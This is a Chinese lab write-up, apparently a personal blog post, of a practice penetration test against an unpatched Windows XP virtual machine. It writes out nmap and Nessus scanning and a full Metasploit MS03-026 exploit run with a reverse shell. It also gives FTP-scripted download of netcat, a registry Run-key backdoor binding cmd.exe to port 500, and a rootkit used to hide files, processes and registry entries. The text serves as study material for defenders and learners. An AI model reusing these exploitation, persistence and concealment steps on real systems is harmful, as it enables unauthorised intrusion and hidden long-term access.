书籍名称:
《网络攻防技术与实践》
《Metasploit渗透测试指南》
此次为读书过程中的实验练习,攻击机是自身的一台windows xp sp3虚拟机,metasploit环境,靶机为一个为网络攻防技术与实践提供的一台未打过补丁的英文windows xp虚拟机。我的笔记本性能不是很好,双开两个虚拟机在运行metasploit的时候还是比较卡的。
第一次的练习,难度比较低,靶机没有打过任何补丁,有很多很老的但威胁巨大的漏洞可以被利用,是一次为了了解渗透过程,利用操作系统自身的漏洞,来进行渗透的实验。
攻击机ip地址 192.168.254.128
靶机ip地址
192.168.254.132
首先对靶机进行扫描,使用nmap对靶机进行开放端口与操作系统识别的扫描。
nmap -sV 192.168.254.132
nmap -v -A 192.168.254.132
还有其他的一些使用过的参数:
nmap -sS -v -O 192.168.254.132
nmap参数很多,自由组合练习了一下。
接着对靶机进行了系统漏洞的扫描。
使用nessus web client,登录后选择scan,add 写入这次扫描的名称,我的写为test,目标地址填写靶机ip地址192.168.254.132,由于是两台虚拟机相当于内网环境所以pollcy处选择Internal Network scan。
扫描结束后,打开扫描结果看到靶机存在很多的高危系统漏洞。
本来是想使用ms08-067的系统漏洞进行渗透,无奈测试了多次漏洞都没有利用成功,就换了一个更早的漏洞进行测试,漏洞为ms03-026,将这一次的渗透过程回忆下来。
打开metasploit
查找ms03-026系统漏洞的利用:
msf>search ms03_026
显示找到的ms03-026的路径
msf>use windows/.../ms03_026_dcom
进入后可以输入
msf exploit(ms03_026_dcom) > show options
来查看所需要输入的参数
msf exploit(ms03_026_dcom) > show payloads
显示当前模块的所有攻击载荷。攻击载荷是我们希望在目标系统被渗透后去执行的代码。
msf exploit(ms03_026_dcom) > set PAYLOAD generic/shell_reverse_tcp
选择一个反弹式的shell
msf exploit(ms03_026_dcom) > set RHOST 192.168.254.132
msf exploit(ms03_026_dcom) > set LHOST 192.168.254.128
输入靶机地址和攻击机的地址
msf exploit(ms03_026_dcom) > exploit
开始进行渗透攻击,成功后会返回靶机的shell
之后就是添加后门,在添加后门的过程中花费了很长的时间。
后门的创建一共需要使用3个文件:
nc.exe //后门文件
AddReg.bat //将后门文件添加到注册表,使开机自启动
root.exe //隐藏文件、进程、注册表项,说明上写的只在Windows NT/2000/XP/2003测试成功。
为了能将3个文件放到靶机中,我需要搭建一个ftp的环境,最开始使用的一个小软件,在靶机可以连接ftp,但是从攻击机连接到靶机就无法登陆,后来架设了Serv-U之后,可以正常使用,那个小软件的问题让我花费了很长时间。
在shell中操作,找一个隐蔽的位置,创建一个文件夹,利用echo来创建一个.txt,用来执行从ftp下载的命令。
echo user>>command.txt
echo XXXXXX>>command.txt //帐号
echo XXXXXX>>command.txt //密码
echo get nc.exe nc.exe>>command.txt
echo get AddReg.bat AddReg.bat>>command.txt
echo get root.exe root.exe>>command.txt
echo quit>>command.txt
这样就生成了一个command.txt文件,然后执行ftp命令:
ftp -n -s:command.txt 192.168.254.128
这样3个文件就下载到了靶机自己新建的那个文件中了。
执行 AddReg.bat将nc添加到启动项
内容如下(根据自身做过一定更改)
@reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\Currentversion\Run" /v hidennc\netcat /t REG_sz /D "C:\hidennc\nc.exe -d -vv -l -p 500 -e cmd.exe" /f
使用root.exe程序进行隐藏:
root.exe /i
这样在root.exe程序所在的文件夹会被隐藏,并且所有文件夹里面的程序所创建的进程会被隐藏,在注册表中自己创建的那个启动项以自己创建的那个文件夹的名字命名键值,这个注册表项也会被隐藏(这个程序是真够厉害的……)
重启靶机。
在攻击机上执行cmd命令,测试后门连接情况:
nc 192.168.254.132 500
应该那个500是端口,nc连接成功。
渗透测试实验结束。
实验总结:
nmap的操作系统识别,那天使用了一个命令,非常准确的探查了一台2008的机器的操作系统版本,后来想不起来了,知道的可以帮忙写一个nmap探查操作系统版本都有哪些方法,我知道一个是-O一个-A,还有没有别的办法。